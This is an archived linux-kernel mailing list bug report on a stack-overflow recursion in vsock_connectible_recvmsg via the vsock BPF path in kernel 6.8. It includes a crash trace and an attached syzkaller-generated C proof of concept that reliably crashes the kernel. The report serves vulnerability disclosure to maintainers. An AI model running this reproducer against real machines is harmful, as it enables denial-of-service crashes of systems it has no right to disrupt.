public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* BUG: stack guard page was hit in vsock_connectible_recvmsg
@ 2024-07-29  2:22 Ubisectech Sirius
  2024-08-02 21:31 ` Wei Liu
                   ` (2 more replies)
  0 siblings, 3 replies; 5+ messages in thread
From: Ubisectech Sirius @ 2024-07-29  2:22 UTC (permalink / raw)
  To: linux-kernel; +Cc: kys, haiyangz, wei.liu, decui

[-- Attachment #1: Type: text/plain, Size: 13423 bytes --]


Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.8. Attached to the email were a PoC file of the issue.

Stack dump:
BUG: TASK stack guard page was hit at ffffc90001b27f88 (stack is ffffc90001b28000..ffffc90001b30000)
stack guard page: 0000 [#1] PREEMPT SMP KASAN NOPTI
CPU: 0 PID: 8069 Comm: syz-executor293 Not tainted 6.8.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:mark_lock+0x25/0xd60 kernel/locking/lockdep.c:4639
Code: 90 90 90 90 90 55 48 89 e5 41 57 41 56 41 55 41 54 41 89 d4 48 ba 00 00 00 00 00 fc ff df 53 48 83 e4 f0 48 81 ec 10 01 00 00 <48> c7 44 24 30 b3 8a b5 41 48 8d 5c 24 30 48 c7 44 24 38 00 88 b9
RSP: 0018:ffffc90001b27f90 EFLAGS: 00010086
RAX: 0000000000000004 RBX: ffff888042cd2fa2 RCX: ffff888042cd2f64
RDX: dffffc0000000000 RSI: ffff888042cd2f80 RDI: ffff888042cd24c0
RBP: ffffc90001b280c8 R08: 0000000000000001 R09: fffffbfff2711214
R10: ffffffff938890a7 R11: 0000000000000000 R12: 0000000000000002
R13: 0000000000000000 R14: ffff888042cd24c0 R15: 000000000004073c
FS:  00005555558f13c0(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc90001b27f88 CR3: 0000000048cb8000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
 <#DF>
 </#DF>
 <TASK>
 mark_usage kernel/locking/lockdep.c:4587 [inline]
 __lock_acquire+0x91e/0x3bc0 kernel/locking/lockdep.c:5091
 lock_acquire kernel/locking/lockdep.c:5754 [inline]
 lock_acquire+0x1b1/0x530 kernel/locking/lockdep.c:5719
 lock_sock_nested+0x3a/0xf0 net/core/sock.c:3523
 lock_sock include/net/sock.h:1691 [inline]
 vsock_connectible_recvmsg+0xdd/0xba0 net/vmw_vsock/af_vsock.c:2196
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 __vsock_recvmsg net/vmw_vsock/vsock_bpf.c:67 [inline]
 vsock_bpf_recvmsg+0xb41/0x11a0 net/vmw_vsock/vsock_bpf.c:105
 vsock_connectible_recvmsg+0x92b/0xba0 net/vmw_vsock/af_vsock.c:2240
 sock_recvmsg_nosec net/socket.c:1046 [inline]
 sock_recvmsg+0x1de/0x240 net/socket.c:1068
 ____sys_recvmsg+0x216/0x670 net/socket.c:2803
 ___sys_recvmsg+0xff/0x190 net/socket.c:2845
 __sys_recvmsg+0xfb/0x1d0 net/socket.c:2875
 do_syscall_x64 arch/x86/entry/common.c:52 [inline]
 do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83
 entry_SYSCALL_64_after_hwframe+0x6f/0x77
RIP: 0033:0x7f6c450819cd
Code: c3 e8 a7 1f 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffcae667888 EFLAGS: 00000246 ORIG_RAX: 000000000000002f
RAX: ffffffffffffffda RBX: 0000000000016644 RCX: 00007f6c450819cd
RDX: 0000000000000000 RSI: 00000000200003c0 RDI: 0000000000000005
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffcae66789c
R13: 431bde82d7b634db R14: 00007f6c450fe4f0 R15: 0000000000000001
 </TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:mark_lock+0x25/0xd60 kernel/locking/lockdep.c:4639
Code: 90 90 90 90 90 55 48 89 e5 41 57 41 56 41 55 41 54 41 89 d4 48 ba 00 00 00 00 00 fc ff df 53 48 83 e4 f0 48 81 ec 10 01 00 00 <48> c7 44 24 30 b3 8a b5 41 48 8d 5c 24 30 48 c7 44 24 38 00 88 b9
RSP: 0018:ffffc90001b27f90 EFLAGS: 00010086
RAX: 0000000000000004 RBX: ffff888042cd2fa2 RCX: ffff888042cd2f64
RDX: dffffc0000000000 RSI: ffff888042cd2f80 RDI: ffff888042cd24c0
RBP: ffffc90001b280c8 R08: 0000000000000001 R09: fffffbfff2711214
R10: ffffffff938890a7 R11: 0000000000000000 R12: 0000000000000002
R13: 0000000000000000 R14: ffff888042cd24c0 R15: 000000000004073c
FS:  00005555558f13c0(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc90001b27f88 CR3: 0000000048cb8000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
----------------
Code disassembly (best guess):
   0:   90                      nop
   1:   90                      nop
   2:   90                      nop
   3:   90                      nop
   4:   90                      nop
   5:   55                      push   %rbp
   6:   48 89 e5                mov    %rsp,%rbp
   9:   41 57                   push   %r15
   b:   41 56                   push   %r14
   d:   41 55                   push   %r13
   f:   41 54                   push   %r12
  11:   41 89 d4                mov    %edx,%r12d
  14:   48 ba 00 00 00 00 00    movabs $0xdffffc0000000000,%rdx
  1b:   fc ff df
  1e:   53                      push   %rbx
  1f:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
  23:   48 81 ec 10 01 00 00    sub    $0x110,%rsp
* 2a:   48 c7 44 24 30 b3 8a    movq   $0x41b58ab3,0x30(%rsp) <-- trapping instruction
  31:   b5 41
  33:   48 8d 5c 24 30          lea    0x30(%rsp),%rbx
  38:   48                      rex.W
  39:   c7                      .byte 0xc7
  3a:   44 24 38                rex.R and $0x38,%al
  3d:   00                      .byte 0x0
  3e:   88                      .byte 0x88
  3f:   b9                      .byte 0xb9

Thank you for taking the time to read this email and we look forward to working with you further.




[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 7226 bytes --]

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

static void sleep_ms(uint64_t ms)
{
  usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
  return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static bool write_file(const char* file, const char* what, ...)
{
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

static void kill_and_wait(int pid, int* status)
{
  kill(-pid, SIGKILL);
  kill(pid, SIGKILL);
  for (int i = 0; i < 100; i++) {
    if (waitpid(-1, status, WNOHANG | __WALL) == pid)
      return;
    usleep(1000);
  }
  DIR* dir = opendir("/sys/fs/fuse/connections");
  if (dir) {
    for (;;) {
      struct dirent* ent = readdir(dir);
      if (!ent)
        break;
      if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
        continue;
      char abort[300];
      snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
               ent->d_name);
      int fd = open(abort, O_WRONLY);
      if (fd == -1) {
        continue;
      }
      if (write(fd, abort, 1) < 0) {
      }
      close(fd);
    }
    closedir(dir);
  } else {
  }
  while (waitpid(-1, status, __WALL) != pid) {
  }
}

static void setup_test()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
  write_file("/proc/self/oom_score_adj", "1000");
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
  int iter = 0;
  for (;; iter++) {
    int pid = fork();
    if (pid < 0)
      exit(1);
    if (pid == 0) {
      setup_test();
      execute_one();
      exit(0);
    }
    int status = 0;
    uint64_t start = current_time_ms();
    for (;;) {
      sleep_ms(10);
      if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
        break;
      if (current_time_ms() - start < 5000)
        continue;
      kill_and_wait(pid, &status);
      break;
    }
  }
}

uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff,
                 0xffffffffffffffff};

void execute_one(void)
{
  intptr_t res = 0;
  if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
  }
  res = syscall(__NR_socket, /*domain=*/0x28ul, /*type=*/1ul, /*proto=*/0);
  if (res != -1)
    r[0] = res;
  *(uint16_t*)0x20000040 = 0x28;
  *(uint16_t*)0x20000042 = 0;
  *(uint32_t*)0x20000044 = 0x2710;
  *(uint32_t*)0x20000048 = 1;
  *(uint32_t*)0x2000004c = 0;
  syscall(__NR_bind, /*fd=*/r[0], /*addr=*/0x20000040ul, /*addrlen=*/0x10ul);
  syscall(__NR_listen, /*fd=*/r[0], /*backlog=*/0);
  res = syscall(__NR_socket, /*domain=*/0x28ul, /*type=*/1ul, /*proto=*/0);
  if (res != -1)
    r[1] = res;
  *(uint16_t*)0x20000640 = 0x28;
  *(uint16_t*)0x20000642 = 0;
  *(uint32_t*)0x20000644 = 0x2710;
  *(uint32_t*)0x20000648 = -1;
  *(uint32_t*)0x2000064c = 0;
  syscall(__NR_connect, /*fd=*/r[1], /*addr=*/0x20000640ul, /*addrlen=*/0x10ul);
  res = syscall(__NR_accept, /*fd=*/r[0], /*peer=*/0ul, /*peerlen=*/0ul);
  if (res != -1)
    r[2] = res;
  *(uint64_t*)0x20000080 = 0x20000400;
  memcpy((void*)0x20000400,
         "\x3a\x85\xe1\x31\x00\xc2\x4f\xdb\xfa\x60\x90\x63\xd0\xae\x5f\x84\x13"
         "\x0b\x90\x17\x4c\x99\x68\x8d\x8b\x6f\xa0\x07\x20\xbc\x7c\x14\xf7\x56"
         "\x78\xdf\x4e\x70\x75\x83\x7c\x33\x54\x1a\xb4\x86\xe5\x81\x7e\xfd\xe6"
         "\x1c\xc9\x93\xe2\x8a\xe9\x2a\x86\x6d\xe7\x08\x88\x62\x6a\x64\x67\x6a"
         "\xce\x9c\xa3\x91\x02\x2f\xa0\xe7\x50\xb7\x7d\x0c\x9a\xf1\x0a\xaf\xe0"
         "\xa3\x6c\x7a\xd4\x30\x9c\xf6\xac\x8a\xb3\xbe\x4b\x2f\x85\x4f\xde\xbe"
         "\x1d\xdc\xe6\x31\x3a\xb0\x94\x1f\xa2\xed\xad\x31\x4f\xbd\x21\x30\x78"
         "\xe7\x77\x0a\xea\xb7\x07\x23\x2a\xd6\x3d\x67\xb4\x6b\x68\x93\xd9\xa8"
         "\xca\x82\x6a\xf8\xd1\x5e\x95\x6d\x82\x73\x91\xe6\xdf\x9f\x35\x32\xdf"
         "\x60\x97\x11\x23\xf5\x6f\xae\x10\x14\xdd\x44\xb8\x6e\x1e\x6b\xbe\x73"
         "\x92\xbb\x80\x82\x40\xa0\xb2\x40\x60\x84\x0e\x4b\xe8\x2d\xca\x47\x73"
         "\xbb\xa1\xa8\x0b\xe5\x31\xcd\xc6\x64\x02\x63\xfb\x24\xa9\xc3\x5f\x73"
         "\xa1\xd5\x19\x9f\x16\x25\x7b\xcb\xb4\x71\x50\x79\xb6\x58\x07",
         219);
  *(uint64_t*)0x20000088 = 0xdb;
  *(uint64_t*)0x20000090 = 0;
  *(uint64_t*)0x20000098 = 0;
  *(uint64_t*)0x200000a0 = 0;
  *(uint64_t*)0x200000a8 = 0;
  *(uint64_t*)0x200000b0 = 0;
  *(uint64_t*)0x200000b8 = 0;
  *(uint64_t*)0x200000c0 = 0;
  *(uint64_t*)0x200000c8 = 0;
  *(uint64_t*)0x200000d0 = 0;
  *(uint64_t*)0x200000d8 = 0;
  *(uint64_t*)0x200000e0 = 0;
  *(uint64_t*)0x200000e8 = 0;
  syscall(__NR_writev, /*fd=*/r[1], /*vec=*/0x20000080ul, /*vlen=*/7ul);
  *(uint32_t*)0x20000580 = 0x12;
  *(uint32_t*)0x20000584 = 4;
  *(uint32_t*)0x20000588 = 4;
  *(uint32_t*)0x2000058c = 0xa4;
  *(uint32_t*)0x20000590 = 0;
  *(uint32_t*)0x20000594 = -1;
  *(uint32_t*)0x20000598 = 0;
  memset((void*)0x2000059c, 0, 16);
  *(uint32_t*)0x200005ac = 0;
  *(uint32_t*)0x200005b0 = -1;
  *(uint32_t*)0x200005b4 = 0;
  *(uint32_t*)0x200005b8 = 0;
  *(uint32_t*)0x200005bc = 0;
  *(uint64_t*)0x200005c0 = 0;
  res = syscall(__NR_bpf, /*cmd=*/0ul, /*arg=*/0x20000580ul, /*size=*/0x48ul);
  if (res != -1)
    r[3] = res;
  *(uint32_t*)0x20000140 = r[3];
  *(uint64_t*)0x20000148 = 0x20000300;
  *(uint64_t*)0x20000150 = 0x200002c0;
  *(uint32_t*)0x200002c0 = r[2];
  *(uint64_t*)0x20000158 = 0;
  syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000140ul, /*size=*/0x47ul);
  *(uint64_t*)0x200003c0 = 0;
  *(uint32_t*)0x200003c8 = 0;
  *(uint64_t*)0x200003d0 = 0x20000500;
  *(uint64_t*)0x20000500 = 0x20000300;
  *(uint64_t*)0x20000508 = 0x92;
  *(uint64_t*)0x200003d8 = 1;
  *(uint64_t*)0x200003e0 = 0;
  *(uint64_t*)0x200003e8 = 0;
  *(uint32_t*)0x200003f0 = 0;
  syscall(__NR_recvmsg, /*fd=*/r[2], /*msg=*/0x200003c0ul, /*f=*/0ul, 0);
}
int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
          /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  const char* reason;
  (void)reason;
  loop();
  return 0;
}

^ permalink raw reply	[flat|nested] 5+ messages in thread
end of thread, other threads:[~2024-08-05  9:24 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2024-07-29  2:22 BUG: stack guard page was hit in vsock_connectible_recvmsg Ubisectech Sirius
2024-08-02 21:31 ` Wei Liu
2024-08-02 22:23 ` Dexuan Cui
2024-08-05  0:44 ` Ubisectech Sirius
2024-08-05  9:24   ` Stefano Garzarella

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox